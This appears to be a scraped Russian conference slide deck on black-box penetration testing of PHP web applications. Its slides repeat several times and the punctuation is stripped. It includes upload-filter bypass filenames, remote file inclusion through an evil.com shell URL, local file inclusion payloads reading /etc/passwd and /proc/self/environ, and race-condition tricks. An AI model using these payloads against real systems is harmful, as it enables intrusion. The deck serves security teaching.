bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL

Сбор информации

bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием

bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413

bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария

Сбор информацииbull Следующим шагом является получение списка

параметров веб-приложения (POST GET Cookie а также заголовки)

bull Их можно угадать исходя из структуры используемых на сайте ссылок

bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск

bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и

размерусодержимому HTTP-ответа

Быстрый fuzzing

bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)

bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя

bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта

Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для

black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество

получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление

универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-

инъекции а также различные виды иных инъекций кода

Быстрый fuzzing

bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д

bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack

bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 16: Blackbox-тестирование веб-приложений

Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt

CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию

установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS

(например у Bitrix)bull Часто название CMS написано в атрибуте generator

HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla

dle_root =gt DataLife Engine wp-content =gt WordPress и т д

Сбор информации

bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip

bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip

bull Перебор файлов и директорий по словарю

Сбор информации

bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql

bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым

Сбор информации

bull Анализ веб-приложения часто осложняется использованием технологий web 20

bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных

bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)

bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL

Сбор информации

bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием

bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413

bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария

Сбор информацииbull Следующим шагом является получение списка

параметров веб-приложения (POST GET Cookie а также заголовки)

bull Их можно угадать исходя из структуры используемых на сайте ссылок

bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск

bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и

размерусодержимому HTTP-ответа

Быстрый fuzzing

bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)

bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя

bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта

Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для

black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество

получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление

универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-

инъекции а также различные виды иных инъекций кода

Быстрый fuzzing

bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д

bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack

bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 17: Blackbox-тестирование веб-приложений

Сбор информации

bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip

bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip

bull Перебор файлов и директорий по словарю

Сбор информации

bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql

bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым

Сбор информации

bull Анализ веб-приложения часто осложняется использованием технологий web 20

bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных

bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)

bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL

Сбор информации

bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием

bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413

bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария

Сбор информацииbull Следующим шагом является получение списка

параметров веб-приложения (POST GET Cookie а также заголовки)

bull Их можно угадать исходя из структуры используемых на сайте ссылок

bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск

bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и

размерусодержимому HTTP-ответа

Быстрый fuzzing

bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)

bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя

bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта

Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для

black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество

получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление

универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-

инъекции а также различные виды иных инъекций кода

Быстрый fuzzing

bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д

bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack

bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

